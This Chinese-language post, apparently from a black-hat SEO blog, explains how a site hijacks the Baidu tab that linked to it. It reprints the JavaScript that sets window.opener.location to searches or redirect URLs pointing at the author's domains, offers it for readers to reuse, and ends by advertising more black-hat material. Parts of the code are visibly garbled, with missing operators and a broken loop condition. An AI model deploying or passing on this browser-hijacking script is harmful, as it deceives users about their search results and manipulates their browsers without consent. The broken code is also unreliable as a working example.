【黑帽SEO技術分享】百度搜索關鍵詞搜索點擊本地瀏覽器劫持

百度搜索關鍵詞點擊后自動更換替換掉原有搜索結果分析(好幾年前了,還是有很多人在用)
這個技術的話不是什么難的技術,不懂得人說百度被劫持了。其實只不過是本地執行了個js的腳本替換了下搜索結果而已。沒什么大驚小怪。而且這種站點只能做黑帽。做白帽的用這種技術,百度發現會直接屏蔽掉這個站點。
下面看分析:
1、正常搜索一個關鍵詞注意我們的網站地址!
2、點進去這個關鍵詞url之后的網站。
3、切換到之前的選項卡里面,查看下地址框!
本地百度被替換掉了。這就是所謂的劫持。其實是本地瀏覽器被更改了。
4、我們分析下這個網站的源碼:
不難發現有個特殊的javascript 的。而且不正常的東西。
5、點進去看下就會知道原因了。代碼都在里面。
代碼我備注一份吧。留著大家分享下。
var eg=[["www.google.com.hk/","safe=strictsitesearch=","",""],["www.google.com.tw/","safe=strictsitesearch=","",""],["www.google.com/","safe=strictsitesearch=","",""],["209.116.186.217/","safe=strictsitesearch=","",""],["www.baidu.com/","ct=2097152tn=0051si=","baidu","baidu.com"],["www.haosou.com/","rg=1site=","haosou","haosou.com"],["cn.bing.com/","rg=1site=","",""],["sg.search.yahoo.com/","site=","",""],["www.youdao.com/","site=","",""],["www.sogou.com/","site=","sogou","sogou.com"],["www.soso.com/","site=","",""]];
var p=undefined;
try{if(window.opener)
{p=window.opener.location.href.toLowerCase();}
}
catch(e){}if(!p){p=document.referrer.toLowerCase();}
for(i=0;i0)
{var t=p+eg[i][1]+"www.fzleim.com";
if(eg[i][0]=="www.baidu.com/")
{var arr = /wd=.*/.exec(p);
var keyword='';
if(arr!=null arr.length0){keyword = arr[0].replace("wd=","")};
t='http://www.baidu.com/s?ct=2097152ie=UTF-8cl=3wd='+ keyword +'si=www.fzleim.com'};
var jump_value = '';
if(document.getElementsByTagName('meta')['jump_key']!=undefined)
{jump_value = document.getElementsByTagName('meta')['jump_key'].getAttribute('content')}if(jump_value==undefined || jump_value==null){jump_value = ''}
if(eg[i][2].length0){t='http://'+eg[i][3]+'.cnlanshan.com/url/www_fzleim_com/' + eg[i][2] + '/'+ jump_value}window.opener.location.href=t;break;}};
}你想學習更全面的黑帽知識嗎?